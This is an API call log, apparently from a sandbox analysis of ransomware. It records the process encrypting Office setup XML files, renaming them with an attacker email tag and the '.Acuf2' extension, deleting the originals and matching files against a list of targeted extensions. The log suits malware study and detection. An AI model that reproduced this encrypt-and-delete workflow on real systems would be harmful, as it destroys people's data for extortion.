	[0044.294] ReadFile (in: hFile=0x1e8, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0044.294] WriteFile (in: hFile=0x1ec, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0044.294] SetEndOfFile (hFile=0x1ec) returned 1
	[0044.294] CloseHandle (hObject=0x1ec) returned 1
	[0044.295] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.295] SetEndOfFile (hFile=0x1e8) returned 1
	[0044.296] CloseHandle (hObject=0x1e8) returned 1
	[0044.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0044.296] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 1
	[0044.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104
	[0044.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104
	[0044.296] lstrlenW (lpString=".doc") returned 4
	[0044.296] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0044.296] lstrlenW (lpString=".docx") returned 5
	[0044.296] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0044.296] lstrlenW (lpString=".pdf") returned 4
	[0044.296] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0044.297] lstrlenW (lpString=".xls") returned 4
	[0044.297] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0044.297] lstrlenW (lpString=".xlsx") returned 5
	[0044.297] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0044.297] lstrlenW (lpString=".ppt") returned 4
	[0044.297] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0044.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104
	[0044.297] lstrlenW (lpString=".zip") returned 4
	[0044.297] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0044.297] lstrlenW (lpString=".rar") returned 4
	[0044.297] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0044.297] lstrlenW (lpString=".bz2") returned 4
	[0044.297] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0044.297] lstrlenW (lpString=".7z") returned 3
	[0044.297] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0044.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104
	[0044.297] lstrlenW (lpString=".dbf") returned 4
	[0044.297] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0044.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104
	[0044.297] lstrlenW (lpString=".1cd") returned 4
	[0044.297] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0044.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104
	[0044.297] lstrlenW (lpString=".jpg") returned 4
	[0044.297] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0044.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104
	[0044.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104
	[0044.297] lstrlenW (lpString=".doc") returned 4
	[0044.297] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0044.297] lstrlenW (lpString=".docx") returned 5
	[0044.297] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0044.297] lstrlenW (lpString=".pdf") returned 4
	[0044.298] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0044.298] lstrlenW (lpString=".xls") returned 4
	[0044.298] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0044.298] lstrlenW (lpString=".xlsx") returned 5
	[0044.298] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0044.298] lstrlenW (lpString=".ppt") returned 4
	[0044.298] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0044.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104
	[0044.298] lstrlenW (lpString=".zip") returned 4
	[0044.298] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0044.298] lstrlenW (lpString=".rar") returned 4
	[0044.298] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0044.298] lstrlenW (lpString=".bz2") returned 4
	[0044.298] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0044.298] lstrlenW (lpString=".7z") returned 3
	[0044.298] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0044.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104
	[0044.298] lstrlenW (lpString=".dbf") returned 4
	[0044.298] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0044.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104
	[0044.298] lstrlenW (lpString=".1cd") returned 4
	[0044.298] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0044.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104
	[0044.298] lstrlenW (lpString=".jpg") returned 4
	[0044.298] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0044.298] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0044.298] lstrlenW (lpString="SETUP.XML") returned 9
	[0044.299] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0044.302] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=2296) returned 1
	[0044.302] CloseHandle (hObject=0x1e8) returned 1
	[0044.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 0x20
	[0044.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0044.303] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0044.303] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.303] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.303] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec
	[0044.305] GetLastError () returned 0x0
	[0044.305] ReadFile (in: hFile=0x1e8, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x8f8, lpOverlapped=0x0) returned 1
	[0044.306] WriteFile (in: hFile=0x1ec, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x900, lpOverlapped=0x0) returned 1
	[0044.307] ReadFile (in: hFile=0x1e8, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0044.307] WriteFile (in: hFile=0x1ec, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0044.307] SetEndOfFile (hFile=0x1ec) returned 1
	[0044.307] CloseHandle (hObject=0x1ec) returned 1
	[0044.308] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.308] SetEndOfFile (hFile=0x1e8) returned 1
	[0044.309] CloseHandle (hObject=0x1e8) returned 1
	[0044.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0044.309] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 1
	[0044.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101
	[0044.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101
	[0044.309] lstrlenW (lpString=".doc") returned 4
	[0044.309] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0044.309] lstrlenW (lpString=".docx") returned 5
	[0044.309] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0044.309] lstrlenW (lpString=".pdf") returned 4
	[0044.309] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0044.309] lstrlenW (lpString=".xls") returned 4
	[0044.309] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0044.309] lstrlenW (lpString=".xlsx") returned 5
	[0044.309] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0044.309] lstrlenW (lpString=".ppt") returned 4
	[0044.310] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0044.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101
	[0044.310] lstrlenW (lpString=".zip") returned 4
	[0044.310] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0044.310] lstrlenW (lpString=".rar") returned 4
	[0044.310] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0044.310] lstrlenW (lpString=".bz2") returned 4
	[0044.310] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0044.310] lstrlenW (lpString=".7z") returned 3
	[0044.310] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0044.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101
	[0044.310] lstrlenW (lpString=".dbf") returned 4
	[0044.310] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0044.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101
	[0044.310] lstrlenW (lpString=".1cd") returned 4
	[0044.310] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0044.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101
	[0044.310] lstrlenW (lpString=".jpg") returned 4
	[0044.310] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0044.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101
	[0044.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101
	[0044.310] lstrlenW (lpString=".doc") returned 4
	[0044.310] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0044.310] lstrlenW (lpString=".docx") returned 5
	[0044.310] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0044.310] lstrlenW (lpString=".pdf") returned 4
	[0044.310] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0044.310] lstrlenW (lpString=".xls") returned 4
	[0044.310] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0044.310] lstrlenW (lpString=".xlsx") returned 5
	[0044.310] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0044.311] lstrlenW (lpString=".ppt") returned 4
	[0044.311] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0044.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101
	[0044.311] lstrlenW (lpString=".zip") returned 4
	[0044.311] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0044.311] lstrlenW (lpString=".rar") returned 4
	[0044.311] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0044.311] lstrlenW (lpString=".bz2") returned 4
	[0044.311] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0044.311] lstrlenW (lpString=".7z") returned 3
	[0044.311] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0044.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101
	[0044.311] lstrlenW (lpString=".dbf") returned 4
	[0044.311] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0044.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101
	[0044.311] lstrlenW (lpString=".1cd") returned 4
	[0044.311] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0044.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101
	[0044.311] lstrlenW (lpString=".jpg") returned 4
	[0044.311] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0044.311] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0044.311] lstrlenW (lpString="GrooveMUI.XML") returned 13
	[0044.311] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0044.312] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=913) returned 1
	[0044.312] CloseHandle (hObject=0x1e8) returned 1
	[0044.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 0x20
	[0044.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0044.312] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0044.312] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.312] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.312] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec
	[0044.314] GetLastError () returned 0x0
	[0044.314] ReadFile (in: hFile=0x1e8, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x391, lpOverlapped=0x0) returned 1
	[0044.315] WriteFile (in: hFile=0x1ec, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x3a0, lpOverlapped=0x0) returned 1
	[0044.316] ReadFile (in: hFile=0x1e8, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0044.316] WriteFile (in: hFile=0x1ec, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xee, lpOverlapped=0x0) returned 1
	[0044.316] SetEndOfFile (hFile=0x1ec) returned 1
	[0044.316] CloseHandle (hObject=0x1ec) returned 1
	[0044.317] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.317] SetEndOfFile (hFile=0x1e8) returned 1
	[0044.318] CloseHandle (hObject=0x1e8) returned 1
	[0044.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0044.318] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 1
	[0044.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106
	[0044.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106
	[0044.318] lstrlenW (lpString=".doc") returned 4
	[0044.319] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0044.319] lstrlenW (lpString=".docx") returned 5
	[0044.319] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0044.319] lstrlenW (lpString=".pdf") returned 4
	[0044.319] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0044.319] lstrlenW (lpString=".xls") returned 4
	[0044.319] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0044.319] lstrlenW (lpString=".xlsx") returned 5
	[0044.319] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0044.319] lstrlenW (lpString=".ppt") returned 4
	[0044.319] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0044.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106
	[0044.319] lstrlenW (lpString=".zip") returned 4
	[0044.319] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0044.319] lstrlenW (lpString=".rar") returned 4
	[0044.319] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0044.319] lstrlenW (lpString=".bz2") returned 4
	[0044.319] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0044.319] lstrlenW (lpString=".7z") returned 3
	[0044.319] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0044.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106
	[0044.319] lstrlenW (lpString=".dbf") returned 4
	[0044.319] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0044.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106
	[0044.319] lstrlenW (lpString=".1cd") returned 4
	[0044.319] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0044.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106
	[0044.319] lstrlenW (lpString=".jpg") returned 4
	[0044.319] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0044.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106
	[0044.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106
	[0044.320] lstrlenW (lpString=".doc") returned 4
	[0044.320] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0044.320] lstrlenW (lpString=".docx") returned 5
	[0044.320] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0044.320] lstrlenW (lpString=".pdf") returned 4
	[0044.320] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0044.320] lstrlenW (lpString=".xls") returned 4
	[0044.320] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0044.320] lstrlenW (lpString=".xlsx") returned 5
	[0044.320] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0044.320] lstrlenW (lpString=".ppt") returned 4
	[0044.320] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0044.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106
	[0044.320] lstrlenW (lpString=".zip") returned 4
	[0044.320] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0044.320] lstrlenW (lpString=".rar") returned 4
	[0044.320] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0044.320] lstrlenW (lpString=".bz2") returned 4
	[0044.320] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0044.320] lstrlenW (lpString=".7z") returned 3
	[0044.320] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0044.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106
	[0044.320] lstrlenW (lpString=".dbf") returned 4
	[0044.320] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0044.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106
	[0044.320] lstrlenW (lpString=".1cd") returned 4
	[0044.320] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0044.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106
	[0044.320] lstrlenW (lpString=".jpg") returned 4
	[0044.320] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0044.321] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0044.321] lstrlenW (lpString="SETUP.XML") returned 9
	[0044.321] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0044.322] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=1452) returned 1
	[0044.322] CloseHandle (hObject=0x1e8) returned 1
	[0044.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 0x20
